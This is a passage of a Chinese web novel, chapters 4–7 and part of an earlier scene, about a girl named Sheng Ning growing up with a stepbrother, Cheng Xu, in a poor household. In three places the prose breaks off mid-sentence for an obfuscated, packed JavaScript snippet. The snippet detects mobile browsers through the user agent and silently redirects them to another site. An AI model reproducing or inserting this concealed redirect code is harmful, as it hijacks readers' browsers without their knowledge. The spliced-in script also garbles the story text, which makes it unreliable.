盛凝呆呆地看着这只小手在自己眼前晃了好几秒,才默默接了过来。 学着走亲戚的大人寒暄那样,她为了这点好感主动开启话题,问道:“他叫什么呀?” 沙发上的男孩发出咿咿呀呀的声音,程蔓君替他回答:“程煦,春风和煦的煦。” 程煦。 漂亮又温柔的名字,听起来像是饱含爱意和期望的。盛凝想起自己的名字来。 奶奶说那时候盛凝都出生两个月了,还没能起个名字,盛明康一直在外面干活十天半个月也不回家,妈妈没什么墨水,又觉得女孩不值当花钱请那些算命的起个足够动听的名字,奶奶就打电话给盛明康,电话那头机器轰鸣,男人举着手机沉默了很久,抬眼突然看见运混凝土的搅拌车开到自己面前,食指松动,燃尽的烟掉在脚边,再被踩在土里。 “就叫盛凝吧。” 盛凝转头,发现程煦正注视着自己,不哭不闹,像个没有生命的白瓷娃娃,乖乖的。 程煦……好像和那些男孩都不一样。 正是性别特征不够明显的年纪,不需要把粉妆玉砌的娃娃划分成刻板印象里穿着花裙子的小姑娘或者叼着辣条的臭小子,他就只是程煦,只是程煦就好。 两个人对望着,程蔓君好像发现了什么,新奇地说道:“哎,你们两个的眼睛长得好像。” 盛凝眨眨眼,开始端详起程煦的长相,确实,眼睛垂下,大大的亮亮的,黑葡萄一样挂在脸上,比起桃花眼睛的妈妈,程煦这双眼确实更像盛凝一些。 全球数十亿人,难道还找不出两双相像的眼睛吗? 不是说碰上什么莫名其妙的巧合,就可以粉饰太平,装作温馨的一家,毕竟,他又不是盛凝真的弟弟,他们流着不同基因的血。 程煦的手在空中胡乱抓着,盛凝躲闪不及,被他逮个正着,小孩子的手劲没轻没重,抓着盛凝的手掌怎么也甩不掉。 盛凝被抓得有些疼,想把手抽回来,大概是拽到程煦了,他一个踉跄差点跌下沙发,程蔓君手疾眼快一把拽住他的后衣领把程煦捞了上来。 一秒后,客厅爆发出响亮的哭声,吓得盛凝一抖。 豆大的泪珠划过瓷白的脸蛋,溶进程煦的衣领,留下一小片水渍。 他怎么这么能哭,哭得响天动地,像是要把肺咳出来,要声带哭伤,这样惨痛的哭声,就仅仅是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481764|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛凝拒绝了他的牵手? 盛凝想,小孩子真是不可理喻! 盛明康难得做了一桌子丰盛的晚餐,托了程蔓君的福,盛凝到现在才知道她爹还有这手艺,比盒饭好吃多了。 只是程煦很不老实,一会儿打翻小碗一会儿摔了筷子,细白的陶瓷筷子落在地上的瞬间,摔成四段,盛凝听着噼里啪啦的声音,简直食不知味,有点白瞎了盛明康的佳肴,毕竟这种机会可不多见。 她不算个自觉学习的学生,至少每次吃完饭后,要拖拉好一会儿才愿意回房间写作业,今天为了躲程煦,她一下桌子就把自己关进了房间,打开台灯开始磨洋工。 抠抠起翘的书皮,扫扫满是橡皮屑的桌子,直到她终于把注意力放到眼前的数学课本上。 好!真的要开始写作业了! “咔。” 身后的门开了。 盛凝猛地一扭头,看见一个小小的团子一样的东西,颤颤巍巍地走进来。 她一皱眉,又想,没办法和出具人形的幼崽讲道理,于是亲自从椅子上下来,走到程煦跟前,像赶流浪狗似的——“去去。” 程煦明显听不懂人话,看着盛凝在自己眼前乱晃的手,他一踮脚抓个正着,但脚跟回落时没站稳,一屁股坐到了地上,盛凝就顺着他的力气一起瘫坐下去。 盛凝害怕程煦这一摔给摔哭了,她真没精力再听他嗷嗷哭一遍了,吓得僵直身子,一动不动地盯着程煦。 同样,程煦那双野猫一样黝黑深邃的大眼睛同样也看着她。 两个人谁也没有出声,耳边是盛明康和程蔓君在厨房洗碗时,碟碗碰撞和说笑打闹的声音。 盛凝看着程煦,他那么小,只有一岁,长着一副无害的面孔,把她的手指当作什么?软糖?或者奶嘴。 放进嫩红色的嘴里,除了软肉的触碰,还有刚长出来的小小的一排牙齿在磨她的指腹。 盛凝有些吃痛,将手指从他嘴里拽出来,程煦没了安慰品,就朝手缩回去的方向趴,一点一点,爬到盛凝身上。 软软的热热的躯体接触到冰凉的肌肤时,盛凝似乎被烫了一下,她几乎没有和生物这样亲密接触过,哪怕是小猫小狗也不会赖在她身上,呼出的热气喷在她细细的脖颈上,她怀里的,可是一个活生生的人,她的——弟弟,程煦。 盛凝第一次感受到,是不是“家人”这个词语,也没必要非得用血缘连接起来,他们将会在同一屋檐下,吃同样的饭菜,用同样的沐浴露,他们皮肤里会透出一样的味道,她可以把无处安放的感情,全部加之在这个看起来极其不靠谱的小男孩身上吗,她可以爱他吗? 可以的,盛凝安慰自己一样点点头,可以的,爸爸和阿姨说了,那是她的弟弟,疼爱她的弟弟,当然是可以的。 盛凝这样想着,手掌慢慢抚在程煦身上,感受他的呼吸,心跳,她似乎感觉到他们的脉搏是共振的。 身下一暖,盛凝摸了一下自己的裤子。 …… “程煦!你竟然敢尿我身上!”愤怒冲昏大脑,盛凝大叫一声,想也没想她就朝程煦后背拍了一巴掌。 一瞬间,厨房也因为这声尖叫摔了盘子,白瓷从中心裂开,碎成八瓣。 程煦的哭声,盛凝的叫声,盛明康的呵斥还有程蔓君的轻哄,所有人都乱成一团,叫嚣着这个足够让人心烦意乱的夏末。 5. 说话 盛凝怀疑程煦其实是个傻子。 不然怎么会有人一岁了还不会说话。 很显然,程蔓君也发现了这个问题,小床放在爸爸和她的房间里,盛凝总能听见她无休无止的对着躺在床上的程煦重复:“喊妈妈,妈妈,喊妈妈……” 程煦回应她的,只有阿巴阿巴阿巴。 盛凝看着门口幸灾乐祸地呲了呲牙,心说长得挺可爱,居然是个傻子。 工作日的时候,盛凝去上学,家里没人,程蔓君就只能把程煦带到单位,她在一个小广告公司做文员,整个单位也没几个人,工作清闲,所以没人管这些。 工地休息时间不固定,就算盛明康在家也只会睡觉,都不会多看程煦一眼,于是周末如果程蔓君有事出门,程煦就到了盛凝手里。 盛凝:? 她竟然也能心大到这种地步,把一个婴儿交给六岁的小孩子带。 程蔓君温柔笑着,塞给盛凝几颗荔枝,跟她软语:“小煦很乖的,姐姐帮我看一下他好不好?” 盛凝哪里听过这么细软的轻哄,看着程蔓君带水的狐狸眸子,差点陷进去溺死,就像被蛊惑了一般点点头,“好。” 屋里不算安静,夏天的蝉鸣和电风扇的声音几乎从未停歇过,盛凝趴在小床的木栏杆上,视线里是熟睡的程煦。 如此岁月静好,盛凝本该泛起一股怜爱之情,可惜脑子里都是——这么吵也能睡着,他是猪变的吧? 可能是听到了盛凝在心里说小话,程煦居然醒了,和她大眼瞪小眼。 “我警告你,不许哭!” 她伸出细细的食指碰了碰程煦的鼻子,作为微小的震慑,程煦没哭反倒是笑了,露出一排小牙,盛凝想到自己的手指被他当成奶嘴的光景,纸老虎一样立马将手缩了回去。 她什么都不会做,只能摇摇婴儿床,或者拿床边的玩具逗逗程煦。 就这么过了三个多小时,程蔓君竟然还没回来,嗷嗷待哺的程煦渐渐将嘴角撇了下去,颇有一种风雨欲来的架势,盛凝害怕得没办法,走进厨房看着那堆瓶瓶罐罐,想给程煦冲奶。 没见过猪跑但吃过猪肉,她没怎么看过程蔓君沏奶粉,还没喝过奶粉吗? 就按照记忆拿水壶热水,从铁罐里挖一勺奶粉在罐口刮平,然后放进奶瓶,一个手拿水壶实在费劲,她只能把奶瓶放在桌子上,两只手抓着壶柄倒水,力道不够,壶嘴碰到了奶瓶,下意识腾出一只手去扶,却忘了另一只手抓不住水壶,热水泻出来全都浇在了手上。 奶瓶滚在地上摔碎了,一同响起的还有程煦的哭声。 盛凝顾不得这些,放下水壶跑去卫生间冲凉水,她看着自己烫得有些泛白的皮肤,抬眼和镜子里满脸通红的自己对视,耳边尽是哭喊的声音。 她咬咬牙关上水龙头,走到程煦的床边说:“你别哭了!” “你……你别哭了啊!” 一股难言的酸楚涌上鼻尖,盛凝还不知道那种难受的感觉叫做委屈,身边泪眼婆娑的程煦已经爬了起来,靠在栏杆角张开嘴接着嚎,他是没喝到奶,这都中午了,盛凝也没吃饭啊,顺着敞开的窗户就能闻到不知哪家炖了红烧肉,两行清泪“唰”地落了下来,一边哭一遍骂:“我真是倒霉,怎么有你这样的弟弟……你怎么这么坏,我讨厌死你了!” 旧楼隔音差,这一大一小对着哭很难不让人怀疑这家人是不是打孩子了,哭得这么凄惨,千万别打出事来吧。 没过几分钟门就被敲响了,防盗门露出一条小缝,从楼道传出一声质问来:“有你们这么打孩子的吗,我老婆还在坐月子……” 这条门缝渐渐变大,男人对上一双小狗似的泪眼。 “你……你家大人呢?”本想好好教训一番对方,结果是个才到自己肚子的小姑娘,一拳打在棉花上,语气一下就软了下去。 盛凝也觉得有点丢人,用胳膊胡乱抹掉自己的眼泪,刚才哭得有些喘,说话都断断续续的,好半天才憋出一句:“有事出门了”。 男人挠挠头,从里屋传来的哭声听起来已经要气绝身亡了,眼巴前又是个什么都不懂的小屁孩,犹豫几秒钟,无奈叹了口气,还是做了这个冤大头,“来我家吧。” 盛凝看着对门叔叔进屋抱起程煦掠过自己。 “愣着干嘛?”叔叔冲她招招手,“进屋啊。” 那天中午,盛凝吃了一生中最美味的一顿红烧肉。 叔叔端上桌还冒着热气,酱红色的肉上撒着芝麻和葱花,她握筷子的手都抖了。盛得满满的米饭放在她面前,只等主人家吹响口哨,,她就跟比赛的小狗一样冲出去了。 肥而不腻,入口即化,软糯香甜,以她贫瘠的词汇量竟然能想出这么多四字词语形容这道菜,配上五常大米饭,粒粒分明。 “哎呀没人跟你抢,慢点吃。”只需要相处几分钟,对门叔叔就显露出来碎嘴子的毛病来,叽里咕噜说了一堆,盛凝光顾着往嘴里塞肉,几乎什么都没听进去,就记住他姓冯了,那就叫他冯叔叔,还有他老婆姓陈,那就是陈阿姨。 等米饭撑到嗓子眼,这位大胃王在椅子上细细品味手上这碗紫菜蛋花汤的时候,才猛然意识到好像忘了点什么。 她忘了个活生生的人! 懵懂的姐姐想起来她弟时,小男孩也已经饱餐一顿,在床上睡着了。 盛凝进屋看见一个女人抱着程煦,旁边还躺着一个差不多大的小女孩。 女人见她进来,轻笑着朝她招手。 陈阿姨的长相和程蔓君几乎是风格两端的极与极,程蔓君无论怎么一副春风和煦的样子,盛凝总觉得怪,她那双眼睛像是要吃人,像刚成型的狐狸精,黑眼珠滴溜溜一转就能把人迷得神魂颠倒。 陈阿姨不一样,五官都是圆钝的,如果不离得近看,就会觉得她的脸罩上了一层薄薄面纱,像庙里的观世音菩萨,整个人都是素白的。 陈阿姨的小孩也不大,她还在产假期,或许是成为母亲后激发的光环,程煦在一个陌生人怀里竟然睡得香甜,盛凝觉得有些不可思议,陈阿姨看出她的惊讶,说:“小孩子很好哄的,抱着他晃一晃就听话啦。” 女人要把程煦交给盛凝,后者则像看到虫子一样往后躲了躲表示抗拒,最后程煦被塞到盛凝怀里,跟抱了个定时炸弹没有区别,一动都不动。 “你拍拍他的后背,然后喊宝宝宝宝,他就不会在哭了。” 我去,好恶心,盛凝刚吃的红烧肉要吐了,她才不要喊这个玩意儿宝宝。 陈阿姨见她为难,又转折道:“或者你平时叫他什么呀?” 但盛凝平时不叫他什么,一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481765|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都可以用“你”或者“他”来替代,想了半天,艰难地学着程蔓君的样子开口,“小……小煦吧。” 那天盛凝学会了怎么哄小孩,抱在怀里拍拍他的背,然后叫他“小煦”。她看见冯叔叔在家里忙前忙后,洗碗打扫卫生,然后给他女儿冲奶粉。 她有些自作多情地想象自己小时候,爸爸妈妈会不会也是这样的,脑子里闪过妈妈摔在她脚边的杯子,又甩掉了根本没发生过的场景。 从小看爸妈吵架和从小没有爸妈管,她和程煦也说不清到底谁更可怜一些,程煦太小了,小到还不会说话,小到七岁的盛凝还没办法和他一起报团取暖,她只当怀里的是一团没有意识的软肉,只不过经常会制造噪音罢了。 程蔓君回来时天边尽是橙红色,盛凝听见对面自家房门开锁的声音,立刻打开了冯叔叔家的门。 “呀,盛凝你怎么在这?” 她还好意思问? 盛凝不愿跟程蔓君发脾气,隐隐有一种左右颠倒,她在寄人篱下的感觉,“程煦一直哭,哄不好,冯叔叔帮忙哄的。” 程蔓君得体地和对门一家道谢,一手抱着程煦一手牵着盛凝回家,初秋的连城还是高温,程蔓君的黑发垂顺在身后,发丝扬起时带着玫瑰花水的香气,她穿得很恬雅,针织半袖和肉粉色到小腿的薄裙,兴许是出汗多了些,唯一的瑕疵在嘴上——豆沙色的口红花了。 程煦的下巴放在程蔓君肩膀上,他睁开眼睛看见跟在身后被牵着的盛凝,她低着头没看他。 “妈妈。” 一声细弱的呼唤从颈侧传来,程蔓君开门的手顿住了,“你说什么?” 盛凝听见声音也抬起头,程煦被程蔓君抱在胸前两人面对面,“你再说一遍。” 程蔓君听起来很急。 “妈妈。”程煦乖乖地冲她又重复一遍,有些含糊不清。 “天呐小煦,你终于会说话了。”程蔓君眼眶都红了,和程煦额头相抵,好一幅母子情深的画面,盛凝默默越过他们进了屋。 小没良心的,白瞎她每天趁大人不在偷偷在程煦床边一遍又一遍教他喊“姐姐姐姐”,她舌头马上就长茧子了! 因为程煦的表现,程蔓君今天心情大好,第一次掌勺做饭,盛凝中午吃了香到爆的红烧肉,由奢入俭难,这一桌子饭只能说食之无味弃之可惜,她那不值钱的爹倒是晚上回来把剩菜剩饭扫荡个一干二净。 程蔓君跟盛明康分享程煦会说话的好消息,很明显对方并不在意这些,跟着一块笑笑敷衍过去,倒是盛凝一直幽怨地盯着宝宝椅上的程煦。 “你干嘛?” 盛凝坐在沙发上看动画片,程煦讨好似地走到她身边。 他牵着盛凝的手,脸蛋圆圆的,特别像学校门口摆摊卖的草莓麻薯,头微微低着,抬眼看她,哪学的扭捏姿势啊? “妈妈。” 盛凝无语凝噎,闭了闭眼和他说:“叫姐姐。” “妈妈。” “姐姐。” “妈妈。” 盛凝反复实践,终于确定他大概是只会说妈妈,所以管谁都叫妈,这要是在外面走丢了,是个人都能给抱走,比起埋怨,无奈的情绪占据了上风,她上半身微微前倾,和程煦鼻尖相近。 “你是不是,真的是傻子啊?” 6. 打架 小孩一旦学会说话,长得就快了。 程煦先学会说“妈妈”,后来经过某人不懈努力,没两天就学会了“姐姐”,最后才叫出了“爸爸”。 盛明康第一次听见这声“爸爸”时,面色别提多精彩了,红的蓝的绿的,盛凝看出调色盘来了,最后嗫嚅好久才憋出来应一句“哎。” 盛凝记得那天在饭桌上憋笑很痛苦。 她看着程煦从走路都不利索到能跑能跳,断了奶后学会用筷子勺子吃饭,一晃就上幼儿园了。 他还是能哭得震天响地,程蔓君以“增进姐弟感情”的理由买了新的单人床放在盛凝本就不算宽敞的房间里。 盛凝反抗态度强烈,这是她的房间,怎么没经她的同意就把程煦塞过来,最后程蔓君把盛凝一个月的零花钱加了五十才算了事,这哪里是姐弟情谊?明明是金钱交易才对。 幼儿园在盛凝上学的路上,接送他“理所当然”成了盛凝的任务,也不知道是哪来的理所当然,或许就为了这一声甜甜软软的“姐姐”? 盛凝估摸着这笔生意,怎么想也不够划算,自打家里多了这个东西她算是一点好处都没捞到,唯一谢谢他的,应该就是这祖宗的哭声让她认识了对门一家,可以经常腆着脸敲门蹭饭。冯叔叔做饭实在是美味,他是国企正式工,朝九晚五工资还不低,平时一闲下来就能研究菜谱,练了这么一套好手艺。 心有灵犀一般,早上两家一起开了门。 “小凝小煦去上学啊。”冯叔叔拉着闺女,宽肩上背着迪士尼公主的粉色小书包,竟然诡异的和谐。 盛凝拉着程煦点头。 对门家小姑娘叫冯心巧,长得可爱声音更甜,平时扎两个翘上天的羊角辫,见人就喊,比如她现在眯起眼睛甜甜地叫盛凝“姐姐”。 盛凝星期一早起的怨气都没了,本周第一个笑脸就留给心巧吧。 被盛凝牵着的程煦倒是跟炸毛狗一样,伸出小手指人家,“这是我姐,不许你叫!” 盛凝闻言朝他脑袋上呼了一巴掌,“你有毛病是不是?” 这蠢货也不想想平时到底是谁爹天天留他蹭饭吃个满嘴流油,没良心。 冯心巧脾气跟她爸一样好,嘴也一样碎,完美忽略掉程煦的教训,穿了身碎花裙子,跟只小花蝴蝶一样围着程煦转。 “程煦你早上吃的什么呀,我爸爸给我做了鸡蛋羹特别好吃,我很喜欢吃鸡蛋羹,你喜欢吃什么呀?” “程煦我们中午坐在一起吃吧,老师说今天吃可乐鸡翅,哦对我也喜欢可乐鸡翅!” “程煦你的手工作业做完了吗,昨天晚上我和爸爸做了好久才弄完的,到最后我都睡着了,爸爸一个人做到半夜呢。” 盛凝听着冯心巧叽叽喳喳地叫,心说自己想错了,这不是只花蝴蝶,应该是只小鹦鹉。 很显然程煦不喜欢鹦鹉,默默拉紧了牵着盛凝的手。 正是沉迷言情小说的年纪,盛凝在每一节语文课都和同桌分享在书店新蹭的小说剧情,按理说这俩小家伙几乎是从出生就一块长大的,小说里叫青梅竹马,多美好的一个词,包含着多少青涩又炽热的感情,怎么程煦这个葫芦就不开窍呢? 到了幼儿园门口,人群冗杂,盛凝迎着太阳蹲下,微微眯起眼睛,程煦低头看面前的姐姐,光无孔不入地射进小缝里的眼珠,琥珀色带着碎纹,顶漂亮顶漂亮一双眼睛,程煦想要是他姐这双眼珠抠下来做成宝石,都得放在博物馆最牢固的玻璃柜里,或许,应该放在银行保险柜里才合适,只有他知道密码。 秋风钻骨,盛凝给程煦拉上外套拉链,语重心长:“你要学会多交朋友啊。” 人家孩子都成群结队地围在一起,上学也好放学也好,嘻嘻哈哈的笑声里永远没有程煦贡献的那一份,他像只会认主的小狗,每次自己一个人坐在警卫室等盛凝放学来带他回家。 心巧也好别人也好,程煦长得好看,这种年纪的小朋友尚未形成完整三观,但能辨认好看的五官,看冯心巧就知道了,那些黑黢黢邋里邋遢的小男孩要找她玩,她鸟都不鸟。 程煦看着盛凝的眼睛,凝滞几秒,最后妥协一般点点头,也没说话。犟得很这死孩子,盛凝当他同意了才起身拍拍自己压皱的校服衬衫,接着走去自己的学校。 起风了,程煦的刘海微微遮住眼皮,等盛凝的身影在他眼里越来越小,才转过头进了校门。 不同于幼儿园,在家里程煦就跟孙悟空再世一般淘得慌。 盛凝和他同住一屋的第三天就后悔了。 他怎么这么多废话啊,围着盛凝说一堆毫无信息量的话题,什么奥特曼玩具赛车。盛凝都四年级了,四年级,多重要的一个分水岭。 虽然说从幼儿园小班到高三每个年级都是分水岭吧,那四年级肯定有四年级的重要性!她都学除法了! 在第三次遥控汽车压到她脚面时,铅笔被摔在桌面上,“程煦!” 对方在房间角落拿着遥控器一脸无辜。 “你能不能出去玩,知不知道自己有多烦人?” 没得到回答,盛凝只看见那辆汽车又撞了两下自己的脚跟,然后被她一脚踢翻了。 “你干嘛!” “你说我干嘛,我叫你滚出去玩你耳朵聋了?” “这是咱俩的屋子,凭什么我不能待?” 她没想到程煦嘴皮子长得这么全须全尾了,竟然大言不惭说出这种话。 盛凝冲他呸了一口,“你放屁,这是我的屋,我和我爸的房子!” “那不也是我爸吗?” 意识到自己说漏嘴,盛凝一下子熄火。程煦不记事的时候就来了她家,程蔓君跟她悄悄讲过,说别告诉程煦真相,不想让他当没爹的小孩,那谁心疼心疼盛凝这个没妈的小孩呢。 盛凝撇嘴应下,主要是她觉得程煦没必要知道这些,很麻烦,她最怕麻烦,反正盛明康平时也不正眼瞅他们小孩,亲生的闺女和别人的儿子,哪个都不是他想要的啊,还得花钱供着,当然难受了。 程煦一开始还在盛明康旁边当哈巴狗,结果爸爸就用手背推推他的脑门儿,“一边玩去,别烦我。” 久而久之讨不到好,他就接着缠程蔓君和盛凝了,这俩至少愿意哄他。 程煦还想继续吵,结果盛凝不搭理他了,可能是哑火又觉得憋屈,她铅笔一扔,拿着数学书走到程煦跟前把他拽起来。 书放在那颗圆圆的小脑袋上。 “你给我站好,没我允许你就不能动,以后不许和我顶嘴!” 盛凝已经有猛猛蹿个儿的趋势,彼时程煦还跟弱鸡崽子一样,得老实抬头才能和盛凝对视。 “你知道错了没?”盛凝一边拷问他,一边从程蔓君昨天买回来的零食袋子里掏出来袋薯片,要是她回来问为什么少了一袋,盛凝就会说是程煦馋了吃的,还能给自己立个乖巧听话的人设,屡试不爽。 程煦只是盯着她,紧紧抿嘴。 盛凝鼻子里冷哼一声气,“你倔也没用,不认错就站着吧。” 以程煦为借口,盛凝认为自己潜心学习的状态被他完全打乱,带着没吃完的薯片去楼下玩了。 防盗门很锈,合页处生涩到发出刺耳的声音,却没人舍得抽出一点时间给它加点润滑油。程煦就听着穿破耳膜的噪声出现再消失,接着迎接他的是一阵耳鸣。 六点钟的天色是涧石蓝的,屋里不开灯就会暗下来,微弱光源全部来自窗外的蓝调时间,小广场上的路灯亮起,盛凝把薯片分给几个男孩女孩,然后滑滑梯跳皮筋,后脑上的小马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481766|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾辫蹦来蹦去的,最后玩累了,一屁股坐在地上,也不嫌脏。 等到涧石蓝变成水墨黑,房间彻底不见一丝光影,讨人厌的合页声终于响起。 盛凝看见黑漆漆一片暗惊一下,程蔓君怎么没回来呢? 她打开客厅吊灯,踹掉脚上脏兮兮的鞋子往屋里跑,一下倒在自己的小床上,脑袋微微一转,借着客厅的灯,黑头发黑衣服,就眼白是亮的,一双眼睛鬼似地盯着她。 “啊!” 盛凝被吓得炸了毛,程煦站在墙角,刚好是盛凝的床和窗台空出来的这么点距离,脑袋上还顶着盛凝放的数学书。 “你有病啊不出声装鬼呢?” 她爬到床边,拍了拍程煦的脸蛋。 女孩额头上还带着疯跑冒出的细汗,双唇干裂到起皮,下唇中间掀出一道鲜红的小口子,总是忘记喝水的坏习惯让她的唇瓣不够饱满。 程煦盯着那道小口子,他想尝尝盛凝的血是水蜜桃饮料一样好喝的,还是跟合页似的带着一股锈味。 如果是盛凝的血,锈味也好喝。 “你妈呢,加班了?” “嗯,刚打电话了。” “哦,那吃什么,方便面?” “……” “问你呢吃什么?” 盛凝躺倒在床上,看着昏白的天花板,耳边幽幽传出一句:“你为什么不和我玩?” 姐,我不明白你为什么总叫我交朋友,我不喜欢那些根本不认识的人,明明姐姐就是我最好的朋友了,可姐姐似乎不是这样想的,好奇怪,为什么? 在姐姐心里,我也应该是她最好最好的朋友,为什么还要把我丢在家里去和别人玩? 程煦拿下自己头上的书,“噌”一下子,将书页撕掉。 盛凝听见声音不对才看过去,“你干嘛?!” 她伸手要抢书,程煦一下子趴在地上,把书塞进怀里接着蹂躏。 盛凝压在他身上,六岁的年龄差带来不可撼动的力气,能轻易把他掰起来,“你这个神经病!” 两人的斗争从抢书到肉搏,程煦几乎是拼了死命的力气,抠挖盛凝胳膊上的软肉,或者揪住她垂下来的马尾,盛凝则下手更狠,直接掐脖子捏脸,从房间南面滚到北边,从两个人缠在一起的肉团里不断散落出纸页碎片,或者头发,长的短的都有。 偶尔也能摸到液体,鼻血?或者是口水和眼泪,房间暗得看不清颜色,盛凝最后扇程煦那巴掌时,门一起被甩开,磕在墙上。 于是巴掌声也被盖住。 姐弟俩停了动作,盛凝爬到卧室门口,看见程蔓君和盛明康一起回来了,前者眼圈红红的,脸上还有红印,跟程煦脸上的一样,巴掌印。 盛明康只看了一眼她,忽略掉杂乱的头发和鼻血,就说了一句:“你俩自己吃方便面吧。” 程煦看爸妈进了屋,隔着木门也能听见争吵声。 程煦伸手把盛凝人中那块的血抹掉,“姐,我害怕。” “你现在知道害怕了,我看你打我的时候挺起劲。”盛凝施舍给他一眼,左脸肿着,印了四个指印。 “所以,你到底吃不吃方便面。” “吃。” 盛凝打算一个星期都不理程煦,半夜睡得迷迷瞪瞪却被摇醒,程煦在她耳边说,“姐,爸妈又在吵架,我听见妈妈在叫,我害怕。” 盛凝困得不行,耐不住程煦死缠烂打,两人做贼一样趴在对面卧室门口听墙角。 女人娇柔的声音湖水荡漾一样传到耳朵里,盛凝已然深谙生理知识,默默红了脸,他俩可真是床头吵架床尾和啊。 “姐姐,是不是爸爸又打她了,我要进去救我妈!” …… “你闭嘴去睡觉吧,蠢货!” 7. 主子 程煦从小被盛凝骂到大,因为他姐一直认为他蠢笨呆傻。 网上说一个孩子是有三角形定律的,聪明、听话和努力是三个角,一个普通小孩只能做到其中的两个,盛凝觉得程煦一个也没占,反而是占满了这三个词的反义词——又笨又犟又淘。 打破盛凝的刻板印象在一个八月,实验学校招生有进行统一考试的惯例,小学部和初中部都得考。 一共五百号人,盛凝第三百二十名,中等偏下对她来说是正常发挥,考试前一天她还在被窝里通宵看小说呢,当时程煦让她早点睡觉,结果被一口骂回去了,第二天顶着俩乌青袋听英语听力,感觉字母在天上飘似的。 程煦倒是交给程蔓君一份语文数学满分的成绩。 程蔓君显得很惊喜,毕竟她没指望这孩子有什么出息,能活着就行,没想到出乎意料的悟性不错啊。 盛凝作为过来人,在沙发上龇龇牙,刘海有些自来卷,遮住琥珀眼睛,跟条小狼狗似的,四仰八叉往嘴里塞了一颗荔枝,“才一年级有什么含金量啊,七百个人得有六百五十个满分吧。” 程煦想说不是的,新生里只有八个满分,结果一回头被盛凝嘴里射出来的荔枝核正中眉心,他觉得自己和盛凝应该是两个物种,交流不了,他是人类,盛凝具体是什么就不太清楚了。 中午学校有食堂,但初中部先吃,然后才轮到小学部,程蔓君开家长会的时候就发现了这个问题,那程煦吃的中午饭不都凉了?她就多塞给程煦十五块钱,说可以去校门口吃点热乎的。 这事本来盛凝不应该知道的,因为她上小学的时候程蔓君可没精细到这种地步,就多出来的那五十块钱零花还是用自己一半卧室使用权换的,结果程煦什么都没干一个星期就白得七十五,盛凝知道了肯定生气。 亲妈后妈就是不一样,到底还是有一层铁骨铮铮的血缘联络着,程煦偏要反其道而行之,他跟程蔓君待的时间哪有和盛凝长,姐姐才是他主子,一顿饱和顿顿饱他还是能分清的。 “你咋吃这么多?”同桌狐疑地看着盛凝端着两盘子满满当当的饭菜走过来。 盛凝一挑眉,“我弟每天给我五块钱,让我帮忙打饭。” 五块钱吃到热菜,自己白赚十块,还哄得盛凝挺高兴,一箭三雕,程煦觉得自己聪明死了。 食堂在小学部和初中部中间,一共四层,一二楼给小学生,三四楼给初中生,每天程煦就蹭蹭蹭跑到三楼,跟有心灵感应似的,每回都能一眼瞄到盛凝,然后端走自己的饭,偶尔没老师巡楼,他就跟盛凝一块吃,虽然校服颜色不一样,但食堂人多,坐在角落不算显眼。 小学和幼儿园不一样,大家要在同一个班相处六年,如果没有社交,消息就显得闭塞,他长得帅成绩又好,学号是1,肯定不缺同学一起玩,男生一下课就找他约球,女生要是去书店写作业有时候也想叫他,最后倒成了忙人一个,文体两开花。 与充实繁忙的程煦不同,初中部的学生年长几岁,胆子就更大,天不怕地不怕的年纪只要不是弄死个人都叫小事,对结果还没产生足够的重视,就什么都敢干,在家长嘴里这就是传说中的“小混混”,但初中生们有自己的称呼,那叫“扛把子”。 即便盛凝没把所有心思都放在学习上,也能做到正常上课写作业,放学按时回家,她当然得按时,警卫室还有个小烦人精等着她呢。 按理说三教九流找不上盛凝,就有一天盛凝数学课随堂测验没及格,和几个同学一起被留堂,老师让他们重新做一遍,全对才能走,这么连讲带写一下子两个小时就过去了,路灯一瞬间点亮,盛凝瞄了一眼警卫室,没人,估计程煦是回家去了。 平时放学时天还没黑,盛凝现在一看回家那条小路原来连路灯都没安,洞口跟吃人不吐骨头的血盆大口一样,动也不动,等着盛凝自投罗网。 她往前挪了两步,看见黑乎乎的不远处燃起几颗小火星子,闻到味道后转身想跑,却怎么也跑不动。 叼着烟的男人站在她身后捏着她后衣领子,偏头看她的侧脸,深吸了一口烟,“我靠,长这么正。” 劫财还是劫色,盛凝今天总要选一个了,摸摸索索几个口袋,咬咬牙把自己这个月的零花和程煦给的打饭钱都掏了出来,“我要是偷留一分钱明天被花盆砸死。” 衣领被人放开,盛凝借着路口灯光模模糊糊瞟了一眼,也不敢多看,对面两个人,抓她这个离得近些,黄色挑染的头发,她似乎有些印象,不是实验学校的学生,应该是隔壁职高的,对方没穿校服,套了件运动衫,看着盛凝哼笑一声,把嘴里的烟吐了,“谁说要你交钱了?” “这么晚,你爸妈没接你回家吃饭?” 这不是正要吃,被你截胡了吗? 